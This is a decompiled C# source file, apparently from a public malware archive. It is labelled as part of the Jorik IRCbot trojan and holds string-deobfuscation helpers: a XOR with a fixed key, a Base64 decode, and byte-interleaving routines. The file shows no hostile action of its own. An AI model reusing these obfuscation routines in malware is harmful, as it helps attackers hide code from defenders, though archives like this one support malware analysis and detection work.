MalwareSourceCode/MSIL/Trojan/Win32/J/Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881/ybneke5hgomifymim4zvimnpa.cs

48 lines
2.0 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: ybneke5hgomifymim4zvimnpa
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using System;
using System.Collections.Generic;
public static class ybneke5hgomifymim4zvimnpa
{
public static int Xutbkh02q4gnaaep3pvetdxkj = 129;
public static byte[] Pifnfhcoyavmjbz5u(byte[] Pkkbuxe0eddtlfhye)
{
for (int index = 0; index < Pkkbuxe0eddtlfhye.Length; ++index)
{
char ch = (char) ((uint) Convert.ToChar(Pkkbuxe0eddtlfhye[index]) ^ (uint) ybneke5hgomifymim4zvimnpa.Xutbkh02q4gnaaep3pvetdxkj);
Pkkbuxe0eddtlfhye[index] = Convert.ToByte(ch);
}
return Pkkbuxe0eddtlfhye;
}
public static string Q2kqkb3gwlztiqkx035mgfo3r(string D3ftweqatkhdmzw1tbygoswmr) => xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(Convert.FromBase64String(D3ftweqatkhdmzw1tbygoswmr));
public static byte[] Gsfkp23vk2tqje234pmjrnbgq(byte[] D3ftweqatkhdmzw1tbygoswmr)
{
int length = D3ftweqatkhdmzw1tbygoswmr.Length;
int num1 = (length + 1) / 2;
List<byte> byteList1 = new List<byte>((IEnumerable<byte>) ybneke5hgomifymim4zvimnpa.d4ncf51f1qm2aosw3eoex5yc1(D3ftweqatkhdmzw1tbygoswmr, 0, num1));
List<byte> byteList2 = new List<byte>((IEnumerable<byte>) ybneke5hgomifymim4zvimnpa.d4ncf51f1qm2aosw3eoex5yc1(D3ftweqatkhdmzw1tbygoswmr, num1, length - num1));
int num2 = 0;
for (int index = 0; index < byteList2.Count; ++index)
{
byteList1.Insert(num2 + 1, byteList2[index]);
num2 += 2;
}
return byteList1.ToArray();
}
public static byte[] d4ncf51f1qm2aosw3eoex5yc1(byte[] first, int offset, int count)
{
byte[] dst = new byte[count];
Buffer.BlockCopy((Array) first, offset, (Array) dst, 0, count);
return dst;
}
}